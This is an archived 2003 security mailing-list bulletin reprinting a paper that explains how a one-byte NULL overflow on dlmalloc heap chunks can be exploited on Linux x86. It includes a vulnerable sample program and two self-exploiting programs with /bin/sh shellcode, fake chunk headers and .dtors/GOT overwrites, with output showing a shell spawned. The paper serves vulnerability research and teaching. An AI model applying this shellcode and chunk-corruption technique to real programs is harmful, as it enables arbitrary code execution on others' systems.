[REVS] Heap Off by One - Explained
From: SecuriTeam (support_at_securiteam.com)
Date: 06/22/03
- Previous message: SecuriTeam: "[NEWS] New Ethereal Version Address Security Vulnerabilities"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 22 Jun 2003 19:54:09 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
Beyond Security in Canada
Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.
We welcome ISPs, system integrators and IT systems resellers
to promote the most advanced vulnerability assessment solutions today.
Contact us at 416-482-0038 or at canadasales@beyondsecurity.com
- - - - - - - - -
Heap Off by One - Explained
------------------------------------------------------------------------
SUMMARY
The scope of this short paper is to describe how vulnerabilities
consisting of a NULL byte being written past the end of dynamically
allocated buffers could be used to compromise a system.
The name 'off by one' is borrowed from the well known category of
vulnerabilities affecting buffers allocated into the stack: in that case
exploitation is performed through the frame pointer overwriting (See
references in the end for details [1][2]).
Exploitation of the vulnerabilities being described in this article, are
for buffers allocated into the heap, which meets a completely different
context.
In this paper we will refer to Linux x86, but most of the things described
here are applicable to other systems and architectures.
DETAILS
Overview of malloc chunk
First of all we have to know what a malloc chunk is or at least how it
looks like, taking a look in malloc.c (dlmalloc):
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
};
prev_size and size fields constitute the chunk header. While the fd and
the bk fields are used only whenever a chunk is freed. When in use, these
point just the beginning of our memory area (To where malloc() returns a
pointer to).
See references in the end for further details about malloc() and typical
exploitation of heap overflows [3][4][5].
Length and allocation
When malloc() is called, it doesn't allocate the entire amount of bytes
that were passed as argument, but rather (as you can see in the below
code):
<alloc.c>
int
main(int argc, char **argv)
{
char *p0, *p1;
int *size_p, len;
if(argc == 1)
exit(1);
len = atoi(argv[1]);
p0 = (char *) malloc(len);
p1 = (char *) malloc(8);
printf("p0 -> %p\n", p0);
printf("p1 -> %p\n", p1);
size_p = (int *) p0 - 1;
printf("allocated size for p0: %u (%p)\n", *size_p, *size_p);
size_p = (int *) p1 - 1;
printf("allocated size for p1: %u (%p)\n", *size_p, *size_p);
free(p0);
free(p1);
}
</alloc.c>
So doing using the following examples, we can better understand how the
chunk size is set:
bash-2.05a$ ./alloc 4
p0 -> 0x80497d8
p1 -> 0x80497e8
allocated size for p0: 17 (0x11)
allocated size for p1: 17 (0x11)
bash-2.05a$ ./alloc 8
p0 -> 0x80497d8
p1 -> 0x80497e8
allocated size for p0: 17 (0x11)
allocated size for p1: 17 (0x11)
bash-2.05a$ ./alloc 12
p0 -> 0x80497d8
p1 -> 0x80497e8
allocated size for p0: 17 (0x11)
allocated size for p1: 17 (0x11)
bash-2.05a$ ./alloc 13
p0 -> 0x80497d8
p1 -> 0x80497f0
allocated size for p0: 25 (0x19)
allocated size for p1: 17 (0x11)
As we can see the 0x11 is the minimal allocation. It says 0x11 rather than
0x10 because the low bit of the length is a flag. Where 0 means free, and
1 means in use. You can see that from a certain point a larger area is
allocated.
We will try now to better explain what is happening:
p0 -> 0x8049928
p1 -> 0x8049938
allocated size for p0: 17 (0x11)
allocated size for p1: 17 (0x11)
(gdb) x/8 0x8049928 - 8
0x8049920: 0x00000000 0x00000011 0x41414141 0x00414141
0x8049930: 0x00000000 0x00000011 0x00000000 0x00000000
(gdb) x 0x8049928 + 12
0x8049934: 0x00000011
As this clearly shows, the size of the chunk also needs to take into
account the next chunk header.
Therefore if we are able to put a NULL byte beyond the end of the first
buffer, and using a carefully calculated length we can set to zero the
size field of the chunk allocated immediately past ours, we can take into
control the execution flow.
We calculate the length using the following formula:
length = 12 + (n * 8);
12, 20, 28, 36 ...
Example program:
Let us take an example (a vulnerable program) and see what off-by-one
vulnerability it contains:
<vuln.c>
#define MY_LEN 12
void
do_it(char *s)
{
char *p0, *p1;
int *size_p, len;
len = strlen(s);
printf("len: %u\n", len);
p0 = (char *) malloc(len);
p1 = (char *) malloc(8);
printf("p0 -> %p\n", p0);
printf("p1 -> %p\n", p1);
size_p = (int *) p0 - 1;
printf("allocated size for p0: %u (%p)\n", *size_p, *size_p);
size_p = (int *) p1 - 1;
printf("allocated size for p1: %u (%p)\n", *size_p, *size_p);
p0[0] = 0x00;
strncat(p0, s, len);
size_p = (int *) p0 - 1;
printf("allocated size for p0: %u (%p)\n", *size_p, *size_p);
size_p = (int *) p1 - 1;
printf("allocated size for p1: %u (%p)\n", *size_p, *size_p);
free(p0);
free(p1);
return;
}
int
main()
{
char s[256];
memset(s, 0x41, MY_LEN);
s[MY_LEN] = 0x00;
do_it(s);
exit(0);
}
</vuln.c>
bash-2.05a$ ./vuln
len: 12
p0 -> 0x8049900
p1 -> 0x8049910
allocated size for p0: 17 (0x11)
allocated size for p1: 17 (0x11)
allocated size for p0: 17 (0x11)
allocated size for p1: 0 ((nil))
Segmentation fault
As you can see all that now is required is controlling the segmentation
fault process, from which we can control program's execution flow.
Exploitation
Whenever a size field is set to zero it tells the kernel that the chunk
has not been use. When free() is called on this chunk (a freed chunk), it
will look for previous and next chunk in order to link them each other. If
we provide these addresses we can cause the program crash, preferably
while causing it to execute arbitrary code.
Simple Example
The following program exploits itself. The variable LOCATION points to
dtors (but of course it could be also the __free_hook address or whatever
you wish).
In order to locate the address of .dtors we run "objdump -s -j .dtors
<program>". The address returned we need to modify so that the first byte
on the left is increased by a factor of 0x4.
To find the shellcode address, we need to launch the program and monitor
the first buffer's address ((p0) + 0x20, in our case p0 pointing to
0x8049b08).
<auto-xpl.c>
#define LOCATION 0x8049aa8
#define SC_ADDR 0x8049b28
/* Linux x86 PIC basic shellcode (25 bytes) */
char shellcode[] =
"\x31\xc0\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
void
do_it(char *s0, char *s1)
{
char *p0, *p1;
int *size_p, len0, len1;
len0 = strlen(s0);
printf("len0: %u\n", len0);
len1 = strlen(s1);
printf("len1: %u\n", len1);
p0 = (char *) malloc(len0);
p1 = (char *) malloc(len1);
printf("p0 -> %p\n", p0);
printf("p1 -> %p\n", p1);
size_p = (int *) p0 - 1;
printf("allocated size for p0: %u (%p)\n", *size_p, *size_p);
size_p = (int *) p1 - 1;
printf("allocated size for p1: %u (%p)\n", *size_p, *size_p);
p0[0] = 0x00;
strncat(p0, s0, len0);
memcpy(p1, s1, len1);
size_p = (int *) p0 - 1;
printf("allocated size for p0: %u (%p)\n", *size_p, *size_p);
size_p = (int *) p1 - 1;
printf("allocated size for p1: %u (%p)\n", *size_p, *size_p);
free(p0);
free(p1);
return;
}
int
main()
{
char s0[1024], s1[1024];
int *i;
i = (int *) s0;
*i++ = 0x41414141;
*i++ = 0x41414141;
*i++ = 0xadadadad;
*i++ = 0x00;
memset(s1, 0x00, sizeof(s1));
i = (int *) s1;
*i++ = LOCATION - 12;
*i++ = SC_ADDR - 8;
memset(s1 + strlen(s1), 0x90, 4);
memcpy(s1 + strlen(s1), "\xeb\x0e\x90\x90", 4);
memset(s1 + strlen(s1), 0x90, 24);
memcpy(s1 + strlen(s1), shellcode, strlen(shellcode) + 1);
do_it(s0, s1);
exit(0);
}
</auto-xpl.c>
bash-2.05a$ ./auto-xpl
len0: 12
len1: 65
p0 -> 0x8049b08
p1 -> 0x8049b18
allocated size for p0: 17 (0x11)
allocated size for p1: 73 (0x49)
allocated size for p0: 17 (0x11)
allocated size for p1: 0 ((nil))
sh-2.05a$
The above example's biggest disadvantage is the fact that we need to
control the first 8 bytes of the buffer whose size is set to zero, and
this most improbable (even if not impossible) in real life programs.
Therefore we are required to use another method. Since we control the
prev_size field, we could set it to a positive value (i.e.: 0x00000010),
thus making free()look for previous chunk inside the first buffer, where
we could put our malloc structure (a specially crafted malloc structure,
that will be explained below).
This solution is better than the previous one since it needs requires
access to one buffer (reachable by our input). However it still
troublesome as the value we need to provide the buffer with contains NULL
bytes (and in most cases we are not able to write them, since strcpy()
style functions are used).
This leaves the only viable solution with that of setting the prev_size
field to a negative value (i.e.: 0xfffffff0). This will cause the free()
function to will look for the previous chunk somewhere past the end of the
buffer we control.
By utilizing this method, we can write an arbitrary value in an arbitrary
location. For example, we can put a fake malloc structure in the location
pointed to by the negative prev_size.
Nevertheless, after this modification the program will still segfault.
Usually this is not a problem as we can utilize this to our benefit (if we
patch the GOT entry of one of the functions called in the SIGSEGV handler,
for example syslog(), we can control the program flow).
Advance Example:
The following program exploits itself. The variable LOCATION points to the
GOT entry of printf().
To find the GOT entry we can do:
(gdb) x/i printf
0x8048484 <printf>: jmp *0x8049be4
^^^^^^^^^
Again to find the shellcode address, we need to launch the program and
monitor the first buffer's address ((p0) + 0x20, in our case p0 pointing
to 0x8049c20).
<auto-xpl-negsiz.c>
#include
#define LOCATION 0x8049be4
#define SC_ADDR 0x8049c58
/* Linux x86 PIC basic shellcode (25 bytes) */
char shellcode[] =
"\x31\xc0\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
void
sigsegvhandler()
{
printf("Caught SIGSEGV.\n");
exit(1);
}
void
do_it(char *s0, char *s1)
{
char *p0, *p1;
int *size_p, len0, len1;
len0 = strlen(s0);
printf("len0: %u\n", len0);
len1 = strlen(s1);
printf("len1: %u\n", len1);
p0 = (char *) malloc(len0);
p1 = (char *) malloc(len1);
printf("p0 -> %p\n", p0);
printf("p1 -> %p\n", p1);
size_p = (int *) p0 - 1;
printf("allocated size for p0: %u (%p)\n", *size_p, *size_p);
size_p = (int *) p1 - 1;
printf("allocated size for p1: %u (%p)\n", *size_p, *size_p);
p0[0] = 0x00;
strncat(p0, s0, len0);
memcpy(p1, s1, len1);
size_p = (int *) p0 - 1;
printf("allocated size for p0: %u (%p)\n", *size_p, *size_p);
size_p = (int *) p1 - 1;
printf("allocated size for p1: %u (%p)\n", *size_p, *size_p);
free(p1);
return;
}
int
main()
{
char s0[1024], s1[1024], zbuf[1024];
int *i;
signal(SIGSEGV, sigsegvhandler);
i = (int *) s0;
*i++ = 0x41414141;
*i++ = 0x41414141;
*i++ = 0xffffffe0;
*i++ = 0x00;
memset(zbuf, 0x00, sizeof(zbuf));
memset(zbuf, 0x41, 9);
i = (int *) &zbuf[strlen(zbuf)];
*i++ = 0xfffffffe;
*i++ = 0xffffffff;
*i++ = LOCATION - 12;
*i++ = SC_ADDR;
memset(zbuf + strlen(zbuf), 0x90, 4);
memcpy(zbuf + strlen(zbuf), "\xeb\x08\x90\x90", 4);
memset(zbuf + strlen(zbuf), 0x90, 24);
memcpy(zbuf + strlen(zbuf), shellcode, strlen(shellcode) + 1);
snprintf(s1, sizeof(s1), "Your input is: %s\n", zbuf);
do_it(s0, s1);
exit(0);
}
</auto-xpl-negsiz.c>
bash-2.05a$ ./auto-xpl-negsiz
len0: 12
len1: 98
p0 -> 0x8049c20
p1 -> 0x8049c30
allocated size for p0: 17 (0x11)
allocated size for p1: 105 (0x69)
allocated size for p0: 17 (0x11)
allocated size for p1: 0 ((nil))
sh-2.05a$
Conclusion
Conceptually this technique is not very different from the general method
used to exploit heap overflows. This type vulnerability is not that common
in real life.
ADDITIONAL INFORMATION
References:
[1] klog. The Frame Pointer Overwrite
<http://www.phrack.com/search.phtml?view&article=p55-8>
http://www.phrack.com/search.phtml?view&article=p55-8
[2] qitest1. middleman-1.2 and prior off-by-one bug
<http://bespin.org/~qitest1/adv/middleman-1.2.txt.asc>
http://bespin.org/~qitest1/adv/middleman-1.2.txt.asc
[3] Doug Lea malloc.c (aka dlmalloc)
<ftp://gee.cs.oswego.edu/pub/misc/malloc.c>
ftp://gee.cs.oswego.edu/pub/misc/malloc.c
[4] maxx. Vudo malloc tricks
<http://www.phrack.com/search.phtml?view&article=p57-8>
http://www.phrack.com/search.phtml?view&article=p57-8
[5] anonymous. Once upon a free()
<http://www.phrack.com/search.phtml?view&article=p57-9>
http://www.phrack.com/search.phtml?view&article=p57-9
The original paper can be downloaded from:
<http://bespin.org/~qitest1/> http://bespin.org/~qitest1/
The information has been provided by <mailto:qitest1@bespin.org> qitest1.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[NEWS] New Ethereal Version Address Security Vulnerabilities"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- Re: malloc realloc and pointers
... malloc is implemented, ... *buffer) then on performing a reallocon this
buffer, ... allocation is successful. ... course int is 16 bit and long is
32 bit. ... (comp.lang.c) - Re: A solution for the allocation failures problem
... It is not possible to check EVERY malloc result within complex software. ...
allocate a big buffer that is not used ... a memory exhaustion situation arises,
... What if no allocation fails? ... (comp.lang.c) - New jemalloc patch (was Re: KDE 3.5.0 seems much chubbier than 3.4.2)
... I've looked into this in some detail, and have determined that KDE apps exhibit an allocation
pattern that causes jemalloc to fragment memory somewhat badly. ... Runs are used directly
for allocations that are larger than 1/2 page, but no larger than 1/2 chunk. ... Memory
usage is much improved, with one exception: small apps tend to fault in a few more pages than before,
since even a single allocation of a size class causes a page to be faulted in. ... (freebsd-current) - [PATCH2 1/1] network memory allocator.
... Network tree allocator can be used to allocate memory for all network ... *
Get allocation CPU from address. ... * Node's value is a start address for contiguous
chunk bound to given node. ... * Dereference free chunk into container and add it into
list of free ... (Linux-Kernel) - Re: My experies with gvirstor
... Is this usage related to the chunk size? ... Yes for the virstor. ...
metadata (AKA "the allocation table"). ... memory (flash drives) ... (freebsd-current)
